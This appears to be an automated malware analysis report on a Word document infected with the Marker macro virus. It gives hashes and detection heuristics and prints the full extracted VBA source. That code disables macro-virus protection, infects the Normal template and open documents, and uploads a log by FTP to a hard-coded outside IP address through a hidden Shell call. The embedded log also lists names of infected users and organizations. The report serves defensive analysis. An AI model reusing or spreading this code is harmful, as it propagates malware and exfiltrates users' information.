Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9cb0ec980c408c03…

MALICIOUS

Office (OLE)

243.0 KB Created: 2015-06-18 00:31:00 Authoring application: Microsoft Office Word First seen: 2015-09-30
MD5: 9e9b18e70d4ced8333b895878563fb80 SHA-1: 09e991846260be288b7f2323bb6f46ad618068e8 SHA-256: 9cb0ec980c408c035035058a82485e697cf077f63ab6828ac75a7aae1ae1c180
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1027 Obfuscated Files or Information

The sample contains VBA macros that exhibit self-replication and tampering with macro protection settings. The script attempts to disable virus protection and writes code to the Normal.dot template, suggesting an attempt to establish persistence or download additional malicious content. The presence of ClamAV detections further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10170 bytes
SHA-256: 770387e8b5d0e8165d73449ef500f70690e75db95891fdacec434eec6b83702e
Detection
ClamAV: Doc.Trojan.Marker-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "DESSealObj1, 0, 0, DESSEALLib, DESSealObj"
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 03:07:26 PM - Tuesday, 22 Dec 1998
' BCBSA
'



' 03:28:02 PM - Wednesday, 6 Jan 1999
' BCBSA
'



' 02:59:47 PM - Monday, 11 Jan 1999
' Marsha Veach
'



' 01:54:54 PM - Wednesday, 20 Jan 1999
' Connie Sandifer, CMP
'



' 09:33:06 PM - Monday, 25 Jan 1999
' Doug Rowan
'



' 08:21:12 AM - Wednesday, 27 Jan 1999
' IMSI
'



' 10:59:58 AM - Friday, 29 Jan 1999
' Raj
'



' 03:37:57 PM - Saturday, 30 Jan 1999
' hornd
'



' 01:26:48 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'



' 04:57:29 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'



' 06:35:44 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'



' 04:23:52 PM - Thursday, 4 Feb 1999
' Cooley Godward
'



' 04:27:39 PM - Saturday, 6 Feb 1999
' Cooley Godward
'



' 06:18:06 PM - Monday, 8 Feb 1999
' Cooley Godward
'



' 09:17:17 PM - Tuesday, 9 Feb 1999
' hclee
'



' 04:44:45 PM - Wednesday, 17 Feb 1999
' Dr. W. Hsiao
'                   Wendy Hsiao, Ph.D.



' 04:13:19 PM - Tuesday, 23 Feb 1999
' CCST
'



' 10:09:35 AM - Saturday, 20 Mar 1999
' cpwu
'



' 09:33:49 AM - Thursday, 6 May 1999
' 柳建华
'



' 12:39:25 PM - Tuesday, 20 May 1997
' ghc-bbc
'



' 01:21:36 PM - Friday, 7 May 1999
' 李晋闽
'



' 05:51:53  - Wednesday, 12 May 1999
' qdzhuang
'



' 03:23:04 PM - Saturday, 19 Jun 1999
' 李晋闽
'



' 02:53:46 下午 - Tuesday, 6 Sep 2011
' 李晋闽
'



' 09:37:47 上午 - Monday, 19 Sep 2011
' 张士力
'



' 01:41:54 下午 - Monday, 26 Sep 2011
' unknown
'



' 10:50:02 上午 - Wednesday, 19 Oct 2011
' 祝昊泉
'



' 08:27:05 上午 - Wednesday, 26 Oct 2011
' 迟文倩
'



' 10:37:36 上午 - Monday, 31 Oct 2011
' 蒋运枫
'



' 04:21:38 下午 - Monday, 31 Oct 2011
' 李彩梅
'



' 08:15:53 上午 - Wednesday, 2 Nov 2011
' 张会芳
'



' 03:51:55 下午 - Friday, 4 Nov 2011
' 刘冬红
'



' 11:58:54 上午 - Friday, 11 Nov 2011
' 陈平平
'



' 05:13:35 下午 - Friday, 11 Nov 2011
' 尚纳新
'



' 03:14:00 下午 - Monday, 14 Nov 2011
' 闵天龙
'



' 06:26:57 下午 - Thursday, 15 Dec 2011
' 何满
'



' 06:01:01 下午 - Monday, 26 Dec 2011
' 何满
'



' 02:45:57 下午 - Thursday, 29 Dec 2011
' 何满
'



' 09:36:45 上午 - Friday, 30 Dec 2011
' 王燕飞
'



' 11:40:46 上午 - Friday, 6 Jan 2012
' 12345
'



' 04:24:59 下午 - Friday, 17 Feb 2012
' 微软用户
'



' 11:28:11 上午 - Wednesday, 22 Feb 2012
' yxx
'



' 01:15:33 下午 - Thursday, 1 Mar 2012
' wang
'



' 11:14:11 上午 - Wednesday, 14 Mar 2012
' 张宇（通号处）
'



' 12:36:16 下午 - Thursday, 22 Mar 2012
' 张孟彬
'



' 05:08:55 下午 - Wednesday, 28 Mar 2012
' 黄鹰
'



' 08:25:27 上午 - Tuesday, 10 Apr 2012
' 孙建明
'



' 05:04:49 下午 - Thursday, 12 Apr 2012
' 汪自成
'



' 02:27:24 下午 - Friday, 13 Apr 2012
' MC SYSTEM
'



' 01:36:46 下午 - Tuesday, 17 Apr 2012
' Lenovo User
'



' 10:44:02 上午 - Friday, 20 Apr 2012
' Lenovo User
'



' 09:43:44 上午 - Monday, 23 Apr 2012
' Lenovo User
'



' 03:02:47 下午 - Monday, 23 Apr 2012
' 马龙
'



' 09:25:58 上午 - Friday, 27 Apr 2012
' Lenovo User
'



' 10:04:54 上午 - Wednesday, 2 May 2012
' Lenovo User
'



' 04:27:42 下午 - Friday, 18 May 2012
' 未定义
'



' 08:52:00 上午 - Wednesday, 23 May 2012
' 未定义
'



' 09:11:27 上午 - Tuesday, 29 May 2012
' hxl
'



' 02:34:00 下午 - Tuesday, 5 Jun 2012
' 未定义
'



' 08:40:54 上午 - Wednesday, 6 Jun 2012
' 未定义
'



' 04:34:15 下午 - Monday, 18 Jun 2012
' 未定义
'



' 08:53:25 上午 - Monday, 16 Jul 2012
' cgb
'



' 05:23:17 下午 - Friday, 21 Sep 2012
' 未定义
'



' 06:27:57 下午 - Monday, 3 Dec 2012
' 雨林木风
'



' 11:30:41 上午 - Tuesday, 15 Jan 2013
' 兰州铁路局
'



' 07:48:16 上午 - Thursday, 17 Jan 2013
' 兰州铁路局
'



' 03:25:05 下午 - Friday, 18 Jan 2013
' 兰州铁路局
'



' 06:18:32 下午 - Monday, 21 Jan 2013
' 兰州铁路局
'



' 09:37:08 上午 - Wednesday, 23 Jan 2013
' 兰州铁路局
'



' 11:01:27 下午 - Thursday, 24 Jan 2013
' 兰州铁路局
'



' 02:20:35 下午 - Friday, 25 Jan 2013
' 兰州铁路局
'



' 02:36:55 下午 - Friday, 25 Jan 2013
' MC SYSTEM
'



' 09:05:25 上午 - Monday, 28 Jan 2013
' 兰州铁路局
'



' 02:57:20 下午 - Monday, 28 Jan 2013
' 兰州铁路局
'



' 07:39:57 上午 - Monday, 23 Sep 2013
' 兰州铁路局
'



' 07:57:51 上午 - Saturday, 5 Oct 2013
' 连海波
'



' 09:23:24 上午 - Tuesday, 8 Oct 2013
' 武凤彬
'



' 08:53:24 上午 - Monday, 25 Nov 2013
' 季鹏飞
'



' 03:22:00 下午 - Wednesday, 26 Mar 2014
' 季鹏飞
'



' 01:33:54 下午 - Tuesday, 6 May 2014
' 鹅毛般
'



' 04:33:31 下午 - Tuesday, 17 Jun 2014
' 鹅毛般
'



' 04:43:23 下午 - Wednesday, 18 Jun 2014
' 鹅毛般
'



' 11:15:37 上午 - Tuesday, 24 Jun 2014
' 鹅毛般
'



' 03:24:08 下午 - Wednesday, 25 Jun 2014
' 微软用户
'



' 09:04:43 上午 - Thursday, 7 Aug 2014
' 牡丹江站收文〖哈尔滨铁路局牡丹江站〗
'



' 01:56:31 下午 - Wednesday, 17 Dec 2014
' 颜中信〖运价规划部〗
'



' 02:10:16 下午 - Monday, 18 May 2015
' 吴佳琳〖企业管理科〗
'



' 09:22:09 上午 - Wednesday, 20 May 2015
' 李巍〖质量技术监督所〗
'



' 09:47:54 AM - Tuesday, 9 Jun 2015
' 李巍〖质量技术监督所〗
'



' 08:54:40 上午 - Thursday, 18 Jun 2015
' admin
'

Open this report in the interactive analyzer, or submit your own file for analysis.